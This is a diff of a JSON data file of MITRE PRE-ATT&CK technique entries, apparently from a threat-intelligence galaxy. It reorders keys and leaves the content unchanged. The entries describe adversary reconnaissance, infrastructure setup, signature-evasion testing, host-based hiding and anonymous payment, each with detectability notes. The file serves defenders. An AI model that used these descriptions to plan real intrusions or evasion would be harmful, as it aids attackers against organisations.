"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nUpon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Current commercial tools and sensitive analytics can be used to detect communications to command and control servers or data exfiltration.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Certainty of the confirmation of compromise is not guaranteed unless the adversary sees communication to a command and control server, exfiltration of data, or an intended effect occur.",
- "value": "Confirmation of launched compromise achieved - PRE-T1160",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1160"
- ],
"external_id": "PRE-T1160",
"kill_chain": [
"mitre-pre-attack:pre-attack:compromise"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1160"
]
},
- "uuid": "f4c5d1d9-8f0e-46f1-a9fa-f9a440926046"
+ "uuid": "f4c5d1d9-8f0e-46f1-a9fa-f9a440926046",
+ "value": "Confirmation of launched compromise achieved - PRE-T1160"
},
{
"description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very public by design.",
- "value": "Identify job postings and needs/gaps - PRE-T1044",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1044"
- ],
"external_id": "PRE-T1044",
"kill_chain": [
"mitre-pre-attack:pre-attack:people-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1044"
]
},
- "uuid": "0722cd65-0c83-4c89-9502-539198467ab1"
+ "uuid": "0722cd65-0c83-4c89-9502-539198467ab1",
+ "value": "Identify job postings and needs/gaps - PRE-T1044"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Assuming an average company does not train its employees to be aware of social engineering techniques, it is not possible to detect the adversary's use unless a highly motivated or paranoid employee informs security. This assessment flips to a 1 in cases of environments where security trains employees to be vigilant or in specialized industries where competitive intelligence and business intelligence train employees to be highly aware. Most likely more complex for an adversary to detect as methods move to physical or non traditionally monitored mechanisms (such as phone calls outside of call centers). Furthermore, the content of such an interaction may be lost due to lack of collection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Assuming an average adversary whose focus is social engineering, it is not difficult for an adversary. Assuming a HUMINT operation and specialized circumstances, the adversary difficulty becomes 1. Social engineering can be easily done remotely via email or phone. In contrast, HUMINT operations typically would require physical contact at some point in the process, increasing the difficulty.",
- "value": "Conduct social engineering or HUMINT operation - PRE-T1153",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1153"
- ],
"external_id": "PRE-T1153",
"kill_chain": [
"mitre-pre-attack:pre-attack:launch"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1153"
]
},
- "uuid": "b79a1960-d0be-4b51-bb62-b27e91e1dea0"
+ "uuid": "b79a1960-d0be-4b51-bb62-b27e91e1dea0",
+ "value": "Conduct social engineering or HUMINT operation - PRE-T1153"
},
{
"description": "A wide variety of 3rd party software services are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility over account creation for 3rd party software services.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: 3rd party services like these listed are freely available.",
- "value": "Acquire and/or use 3rd party software services - PRE-T1107",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1107"
- ],
"external_id": "PRE-T1107",
"kill_chain": [
"mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1107"
]
},
- "uuid": "488da8ed-2887-4ef6-a39a-5b69bc6682c6"
+ "uuid": "488da8ed-2887-4ef6-a39a-5b69bc6682c6",
+ "value": "Acquire and/or use 3rd party software services - PRE-T1107"
},
{
"description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyze network traffic to determine security filtering policies, packets dropped, etc.",
- "value": "Analyze hardware/software security defensive capabilities - PRE-T1071",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1071"
- ],
"external_id": "PRE-T1071",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1071"
]
},
- "uuid": "a1e8d61b-22e1-4983-8485-96420152ecd8"
+ "uuid": "a1e8d61b-22e1-4983-8485-96420152ecd8",
+ "value": "Analyze hardware/software security defensive capabilities - PRE-T1071"
},
{
"description": "Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know at first use what is valid or hostile traffic without more context.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: It is relatively easy to subscribe to dynamic DNS providers or find ways to get different IP addresses from a cloud provider.",
- "value": "Dynamic DNS - PRE-T1110",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1110"
- ],
"external_id": "PRE-T1110",
"kill_chain": [
"mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1110"
]
},
- "uuid": "54eb2bab-125f-4d1c-b999-0c692860bafe"
+ "uuid": "54eb2bab-125f-4d1c-b999-0c692860bafe",
+ "value": "Dynamic DNS - PRE-T1110"
},
{
"description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many public sources exist for this information.",
- "value": "Discover new exploits and monitor exploit-provider forums - PRE-T1127",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1127"
- ],
"external_id": "PRE-T1127",
"kill_chain": [
"mitre-pre-attack:pre-attack:build-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1127"
]
},
- "uuid": "82bbd209-f516-45e0-9542-4ffbbc2a8717"
+ "uuid": "82bbd209-f516-45e0-9542-4ffbbc2a8717",
+ "value": "Discover new exploits and monitor exploit-provider forums - PRE-T1127"
},
{
"description": "For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: It is relatively easy and low cost to purchase compromised credentials. Mining social media sites offers open source information about a particular target. Most users tend to reuse passwords across sites and are not paranoid enough to check and see if spoofed sites from their persona exist across current social media.",
- "value": "Choose pre-compromised persona and affiliated accounts - PRE-T1120",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1120"
- ],
"external_id": "PRE-T1120",
"kill_chain": [
"mitre-pre-attack:pre-attack:persona-development"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1120"
]
},
- "uuid": "9a8c47f6-ae69-4044-917d-4b1602af64d9"
+ "uuid": "9a8c47f6-ae69-4044-917d-4b1602af64d9",
+ "value": "Choose pre-compromised persona and affiliated accounts - PRE-T1120"
},
{
"description": "Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Possible to gather digital intelligence about a person is easily aided by social networking sites, free/for fee people search engines, and publicly available information (e.g., county databases on tickets/DUIs).",
- "value": "Acquire OSINT data sets and information - PRE-T1043",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1043"
- ],
"external_id": "PRE-T1043",
"kill_chain": [
"mitre-pre-attack:pre-attack:people-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1043"
]
},
- "uuid": "2b9a666e-bd59-4f67-9031-ed41b428e04a"
+ "uuid": "2b9a666e-bd59-4f67-9031-ed41b428e04a",
+ "value": "Acquire OSINT data sets and information - PRE-T1043"
},
{
"description": "The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Common defenses protecting against poor OPSEC practices are traditionally more policy-based in nature rather than technical. Policy-based mitigations are generally more difficult to enforce and track violations, making it more difficult that this technique can be detected by common defenses.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Specialty cases enable an adversary to use key words in order to search social media and identify personnel with poor OPSEC practices who may have access to specialized information which would make them a target of interest. In addition, the open nature of social media leads to a tendency among individuals to overshare, encouraging poor OPSEC and increasing the ease by which an adversary can identify interesting targets.",
- "value": "Identify people of interest - PRE-T1046",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1046"
- ],
"external_id": "PRE-T1046",
"kill_chain": [
"mitre-pre-attack:pre-attack:people-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1046"
]
},
- "uuid": "0c0f075b-5d69-43f2-90df-d9ad18f44624"
+ "uuid": "0c0f075b-5d69-43f2-90df-d9ad18f44624",
+ "value": "Identify people of interest - PRE-T1046"
},
{
"description": "Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEgg)Wikipedia (Citation: KGBComputerMe)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This is not easily performed remotely and therefore not a detectable event. If the adversary can sniff traffic to deduce trust relations, this is a passive activity and not detectable.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Determining trust relationships once internal to a network is trivial. Simple tools like trace route can show evidence of firewalls or VPNs and then hosts on the either side of the firewall indicating a different trusted network. Active Directory command line tools can also identify separate trusted networks.\n\nIf completely external to a network, sniffing traffic (if possible) could also reveal the communications protocols that could be guessed to be a trusted network connection (e.g., IPsec, maybe SSL, etc.) though this is error-prone. \n\nWith no other access, this is hard for an adversary to do completely from a remote vantage point.",
- "value": "Determine external network trust dependencies - PRE-T1036",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1036"
- ],
"external_id": "PRE-T1036",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1036"
]
},
- "uuid": "a2fc93cd-e371-4755-9305-2615b6753d91"
+ "uuid": "a2fc93cd-e371-4755-9305-2615b6753d91",
+ "value": "Determine external network trust dependencies - PRE-T1036"
},
{
"description": "An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.",
- "value": "Determine strategic target - PRE-T1018",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1018"
- ],
"external_id": "PRE-T1018",
"kill_chain": [
"mitre-pre-attack:pre-attack:target-selection"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1018"
]
},
- "uuid": "91a3735f-817a-4450-8ed4-f05a0f5c3877"
+ "uuid": "91a3735f-817a-4450-8ed4-f05a0f5c3877",
+ "value": "Determine strategic target - PRE-T1018"
},
{
"description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Job postings and hiring requisitions have to be made public for contractors and many times have the name of the organization being supported. In addition, they outline the skills needed to do a particular job, which can provide insight into the technical structure and organization of a target.",
- "value": "Analyze organizational skillsets and deficiencies - PRE-T1066",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1066"
- ],
"external_id": "PRE-T1066",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1066"
]
},
- "uuid": "092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc"
+ "uuid": "092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc",
+ "value": "Analyze organizational skillsets and deficiencies - PRE-T1066"
},
{
"description": "If going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.",
- "value": "Determine operational element - PRE-T1019",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1019"
- ],
"external_id": "PRE-T1019",
"kill_chain": [
"mitre-pre-attack:pre-attack:target-selection"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1019"
]
},
- "uuid": "c860af4a-376e-46d7-afbf-262c41012227"
+ "uuid": "c860af4a-376e-46d7-afbf-262c41012227",
+ "value": "Determine operational element - PRE-T1019"
},
{
"description": "An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Use of sites like [https://www.virustotal.com VirusTotal] to test signature detection often occurs to test detection. Defender can also look for newly added uploads as a precursor to an adversary's launch of an attack.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Current open source technologies and websites exist to facilitate adversary testing of malware against signatures.",
- "value": "Test signature detection for file upload/email filters - PRE-T1138",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1138"
- ],
"external_id": "PRE-T1138",
"kill_chain": [
"mitre-pre-attack:pre-attack:test-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1138"
]
},
- "uuid": "c9ac5715-ee5c-4380-baf4-6f12e304ca93"
+ "uuid": "c9ac5715-ee5c-4380-baf4-6f12e304ca93",
+ "value": "Test signature detection for file upload/email filters - PRE-T1138"
},
{
"description": "From a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.",
- "value": "Determine highest level tactical element - PRE-T1020",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1020"
- ],
"external_id": "PRE-T1020",
"kill_chain": [
"mitre-pre-attack:pre-attack:target-selection"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1020"
]
},
- "uuid": "dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9"
+ "uuid": "dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9",
+ "value": "Determine highest level tactical element - PRE-T1020"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not foolproof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised. The added challenge for a conditional watering hole is the reduced scope and likely reduced ability to detect or be informed. Determining deltas in content (e.g., differences files type/size/number/hashes) downloaded could also aid in detection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery. The additional challenge is the reduced set of options for web sites to compromise since the set is reduced to those often visited by targets of interest.",
- "value": "Targeted client-side exploitation - PRE-T1148",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1148"
- ],
"external_id": "PRE-T1148",
"kill_chain": [
"mitre-pre-attack:pre-attack:launch"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1148"
]
},
- "uuid": "72923cae-6c8c-4da2-8f48-b73389529c25"
+ "uuid": "72923cae-6c8c-4da2-8f48-b73389529c25",
+ "value": "Targeted client-side exploitation - PRE-T1148"
},
{
"description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an intensive process to obtain the full picture. It is possible to obtain basic information/some aspects via OSINT. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).",
- "value": "Identify supply chains - PRE-T1042",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1042"
- ],
"external_id": "PRE-T1042",
"kill_chain": [
"mitre-pre-attack:pre-attack:people-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1042"
]
},
- "uuid": "59369f72-3005-4e54-9095-3d00efcece73"
+ "uuid": "59369f72-3005-4e54-9095-3d00efcece73",
+ "value": "Identify supply chains - PRE-T1042"
},
{
"description": "An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Skills are common to majority of computer scientists and \"hackers\". Can be easily obtained through contracting if not organic to adversary's organization.",
- "value": "Install and configure hardware, network, and systems - PRE-T1113",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1113"
- ],
"external_id": "PRE-T1113",
"kill_chain": [
"mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1113"
]
},
- "uuid": "73e394e5-3d8a-40d1-ab8c-a1b4ea9db424"
+ "uuid": "73e394e5-3d8a-40d1-ab8c-a1b4ea9db424",
+ "value": "Install and configure hardware, network, and systems - PRE-T1113"
},
{
"description": "Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Techniques are difficult to detect and might occur in uncommon use-cases (e.g., patching, anti-malware, anti-exploitation software).\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Some of the host-based hiding techniques require advanced knowledge combined with an understanding and awareness of the target's environment (e.g., exploiting weaknesses in file formats, parsers and detection capabilities).",
- "value": "Host-based hiding techniques - PRE-T1091",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1091"
- ],
"external_id": "PRE-T1091",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1091"
]
},
- "uuid": "6f088e84-37b2-44de-8df3-393908f2d77b"
+ "uuid": "6f088e84-37b2-44de-8df3-393908f2d77b",
+ "value": "Host-based hiding techniques - PRE-T1091"
},
{
"description": "Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary searches publicly available sources that list physical locations that cannot be monitored by a defender or are not necessarily monitored (e.g., all IP addresses touching their public web space listing physical locations).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Most corporations now list their locations on public facing websites. Some challenge still exists to find covert or sensitive locations.",
- "value": "Determine physical locations - PRE-T1059",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1059"
- ],
"external_id": "PRE-T1059",
"kill_chain": [
"mitre-pre-attack:pre-attack:organizational-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1059"
]
},
- "uuid": "2011ffeb-8003-41ef-b962-9d1cbfa35e6d"
+ "uuid": "2011ffeb-8003-41ef-b962-9d1cbfa35e6d",
+ "value": "Determine physical locations - PRE-T1059"
},
{
"description": "Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
- "value": "Conduct cost/benefit analysis - PRE-T1003",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1003"
- ],
"external_id": "PRE-T1003",
"kill_chain": [
"mitre-pre-attack:pre-attack:priority-definition-planning"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1003"
]
},
- "uuid": "51bca707-a806-49bf-91e0-03885b0ac85c"
+ "uuid": "51bca707-a806-49bf-91e0-03885b0ac85c",
+ "value": "Conduct cost/benefit analysis - PRE-T1003"
},
{
"description": "Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary's nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
- "value": "Receive KITs/KIQs and determine requirements - PRE-T1016",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1016"
- ],
"external_id": "PRE-T1016",
"kill_chain": [
"mitre-pre-attack:pre-attack:priority-definition-direction"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1016"
]
},
- "uuid": "acfcbe7a-4dbc-4471-be2b-134faf479e3e"
+ "uuid": "acfcbe7a-4dbc-4471-be2b-134faf479e3e",
+ "value": "Receive KITs/KIQs and determine requirements - PRE-T1016"
},
{
"description": "Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Much of this analysis can be done using the target's open source website, which is purposely designed to be informational and may not have extensive visitor tracking capabilities.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyzing business relationships from information gathering may provide insight into outsourced capabilities. In certain industries, outsourced capabilities or close business partnerships may be advertised on corporate websites.",
- "value": "Analyze presence of outsourced capabilities - PRE-T1080",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1080"
- ],
"external_id": "PRE-T1080",
"kill_chain": [
"mitre-pre-attack:pre-attack:organizational-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1080"
]
},
- "uuid": "34450117-d1d5-417c-bb74-4359fc6551ca"
+ "uuid": "34450117-d1d5-417c-bb74-4359fc6551ca",
+ "value": "Analyze presence of outsourced capabilities - PRE-T1080"
},
{
"description": "Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
- "value": "Create implementation plan - PRE-T1009",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1009"
- ],
"external_id": "PRE-T1009",
"kill_chain": [
"mitre-pre-attack:pre-attack:priority-definition-planning"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1009"
]
},
- "uuid": "b355817c-cf63-43b4-94a4-05e9645fa910"
+ "uuid": "b355817c-cf63-43b4-94a4-05e9645fa910",
+ "value": "Create implementation plan - PRE-T1009"
},
{
"description": "Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender likely will not have access to payment information. Monitoring crypto-currency or barter boards is resource intensive and not fully automatable.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy to use pre-paid cards or shell accounts to pay for services online. Crypto currencies and barter systems can avoid use of trace-able bank or credit apparatus.",
- "value": "Non-traditional or less attributable payment options - PRE-T1093",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1093"
- ],
"external_id": "PRE-T1093",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1093"
]
},
- "uuid": "b79e8a3f-a109-47c2-a0e3-564955590a3d"
+ "uuid": "b79e8a3f-a109-47c2-a0e3-564955590a3d",
+ "value": "Non-traditional or less attributable payment options - PRE-T1093"
},
{
